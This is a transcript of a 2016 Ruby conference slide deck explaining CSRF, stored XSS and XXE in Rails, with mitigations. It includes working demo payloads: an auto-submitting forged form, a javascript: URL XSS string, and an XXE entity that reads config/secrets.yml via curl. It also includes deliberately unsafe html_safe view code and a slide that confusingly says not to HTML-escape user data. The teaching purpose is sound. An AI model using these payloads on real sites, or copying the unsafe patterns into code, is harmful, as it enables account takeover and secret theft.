Security is Broken: Understanding Common Vulnerabilities

Security is Broken: Understanding Common Vulnerabilities

Mountain West Ruby Conference

C44e1f7e22c3f23cff7bc130871047ef?s=128

Eileen M. Uchitelle

March 21, 2016
Tweet

Transcript

  1. SECURITY IS BROKEN Understanding Common Vulnerabilities

  2. EILEEN M UCHITELLE Security, Performance, & Infrastructure at Basecamp !

    eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes
  3. None
  4. None
  5. OPEN SOURCE Rails Committers Rails Security

  6. None
  7. None
  8. How is security broken?

  9. • Impossible to test for all possible vulnerabilities How is

    security broken?
  10. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead How is security broken?
  11. • Impossible to test for all possible vulnerabilities • Hackers

    are always one step ahead • Patching one vulnerability can lead to exposing new ones How is security broken?
  12. How did we get here?

  13. • Failed to enforce web standards How did we get

    here?
  14. vs.

  15. None
  16. • Failed to enforce web standards • Failed to implement

    a definition of security How did we get here?
  17. ...completely failed to come up with even the most rudimentary

    usable frameworks for understanding the security of modern software. – Michal Zalewski, The Tangled Web
  18. • Failed to enforce web standards • Failed to implement

    a definition of security • Too few people understand the vulnerabilities How did we get here?
  19. None
  20. CSRF

  21. CSRF Cross-Site Request Forgery

  22. EXPLOITING CSRF

  23. None
  24. <form class="edit_user" action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name="user[name]"

    /> <label for="user_email">Email</label> <input type="text" value="eileen@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form>
  25. None
  26. Looks the same, different URL

  27. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name=“user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body>
  28. <form action="/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen" name=“user[name]" />

    <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> Attackers email
  29. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form
  30. <body onload=“document.forms[0].submit()"> <form action="http://victimsite.com/users/2" method="post"> <label for="user_name">Name</label> <input type="text" value="Eileen"

    name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> </body> Auto-submit form to victim site
  31. Attacker’s email

  32. How dangerous are CSRF attacks?

  33. How to mitigate CSRF?

  34. • Use built-in framework CSRF protection How to mitigate CSRF?

  35. None
  36. class ApplicationController < ActionController::Base protect_from_forgery with: :exception end

  37. <form action="/users/2" method="post"> <input type="hidden" value="31RRdFdpulXYDxsOjyTRqKPiJxcP3+ayC==" name=authenticity_token" /> <label for="user_name">Name</label>

    <input type="text" value="Eileen" name="user[name]" /> <label for="user_email">Email</label> <input type="text" value="changed@example.com" name="user[email]" /> <label for="user_website">Website</label> <input type="text" value="eileencodes.com" name="user[website]" /> <input type="submit" name="commit" value="Update user" /> </form> CSRF protection
  38. Caveat: CSRF protection in Rails is order-dependent

  39. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end
  40. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ApplicationController skip_before_action :authenticate before_action :authenticate_method, only: :create end
  41. class ApplicationController < ActionController::Base before_action :authenticate protect_from_forgery with: :exception, if:

    -> { authenticate_method.web? } end class OtherController < ActionController::Base skip_before_action :authenticate before_action :authenticate_method, only: :create protect_from_forgery with: :exception, if: -> { authenticate_method.web? } end
  42. None
  43. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens How to mitigate CSRF?
  44. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens How to mitigate CSRF?
  45. class SessionsController < ApplicationController def destroy sign_out reset_session redirect_to sign_in_url

    end end Refreshes Authenticity Token
  46. • Use built-in framework CSRF protection • Rails 5 supports

    per-form tokens • Refresh tokens with the session / don’t reuse tokens • Mitigate XSS attacks How to mitigate CSRF?
  47. XSS

  48. XSS Cross-Site Scripting

  49. EXPLOITING STORED XSS

  50. None
  51. None
  52. Escaped HTML

  53. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= @user.name %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  54. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %>
  55. Unescaped HTML

  56. JavaScript Scheme

  57. None
  58. javascript://example.com/%0Aalert(1)

  59. example.com/%0Aalert(1) JavaScript Scheme javascript://

  60. javascript://example.com/%0Aalert(1) URL example.com

  61. Percent encoded “line feed” javascript://example.com/%0Aalert(1) %0A

  62. JavaScript Alert javascript://example.com/%0Aalert(1) alert(1)

  63. How dangerous are XSS attacks?

  64. How to mitigate XSS?

  65. • Always escape user-provided data How to mitigate XSS?

  66. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= (@user.name).html_safe %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Don’t do this
  67. None
  68. • Don’t HTML escape user-provided data • Sanitize user-provided data

    How to mitigate XSS?
  69. <h1>Profile</h1> <p id="notice"><%= notice %></p> <p> <strong>Name:</strong> <%= sanitize(@user.name) %>

    </p> <p> <strong>Email:</strong> <%= @user.email %> </p> <p> <strong>Website:</strong> <%= link_to('website', @user.website) %> </p> <%= link_to 'Edit', edit_user_path(@user) %> | <%= link_to 'Back', users_path %> Will strip out unwanted tags and attributes
  70. • Don’t HTML escape user-provided data • Sanitize user-provided data

    • Validate user-provided data How to mitigate XSS?
  71. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  72. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  73. class User < ActiveRecord::Base WHITELISTED_URI_SCHEMES = %w( http https )

    validate :check_uri_scheme private def check_uri_scheme begin uri = URI.parse(website) unless WHITELISTED_URI_SCHEMES.include?(uri.scheme.downcase) errors.add :website, 'is not an allowed URI scheme' end rescue URI::InvalidURIError errors .add :website, 'is not a valid URI' end end end
  74. XXE

  75. XXE XML eXternal Entity Attack

  76. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list>
  77. <!-- todolist.xml --> <!DOCTYPE todolist [ <!ENTITY ext1 SYSTEM “list_items_6-7.xml”>

    ]> <list> <todo>Groceries</todo> <todo>Take Arya to the vet</todo> &ext1; <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list> Entity reference
  78. <!-- list_items_6-7.xml --> <todo>Book flight to Salt Lake City</todo> <todo>Finish

    Security is Broken Talk</todo>
  79. <!-- after parsing --> <list> <todo>Groceries</todo> <todo>Take Arya to the

    vet</todo> <todo>Book flight to Salt Lake City</todo> <todo>Finish Security is Broken Talk</todo> <todo>Pick up beer</todo> <todo>Get car oil changed</todo> </list>
  80. EXPLOITING XXE with cURL

  81. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end
  82. class UsersController < ApplicationController def create @user = User.new(user_params) respond_to

    do |format| if @user.save format.html { redirect_to @user } format.xml { render :xml => @user.to_xml } else format.html { render :new } format.xml { render xml: @user.errors.to_xml } end end end end XML
  83. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user>
  84. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Requested file
  85. <!DOCTYPE doc [ <!ENTITY name SYSTEM "file:///path/security_examples/ config/secrets.yml"> ]> <user>

    <name>&name;</name> </user> Entity
  86. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml POST

    request to users create
  87. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml Payload

  88. curl -X 'POST' -H 'Content-Type: application/xml' -d @xxe.xml http://vulnerablesite.com/users.xml <user>

    <name> ... production: secret_key_base: 271a389cf7bf7b4ff18af3e809241603802b5ff1617b5432a41ff0f99d5 f29c897db7f07a9cebd9e3a3535301720c0b19ac4eb82afa505ed229c40 00e166a9a5 ... </name> </user> User’s Name
  89. None
  90. How dangerous are XXE attacks?

  91. None
  92. How to mitigate XXE?

  93. • Don’t parse XML How to mitigate XXE?

  94. Don’t parse XML

  95. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) How to mitigate XXE?
  96. >> LibXML::XML.default_substitute_entities >> true

  97. • Don’t parse XML • Don’t use parsers that allow

    entity replacement (LibXML) • Whitelist known entities How to mitigate XXE?
  98. Investigate vulnerabilities & patches SECURITY

  99. owasp.org

  100. Resilience & empowerment SECURITY

  101. None
  102. GitHub
 eileencodes/security_examples

  103. Awareness of vulnerabilities SECURITY

  104. None
  105. To the future

  106. EILEEN M UCHITELLE Security, Performance, & Infrastructure at Basecamp !

    eileencodes.com " @eileencodes # @eileencodes ! speakerdeck.com/eileencodes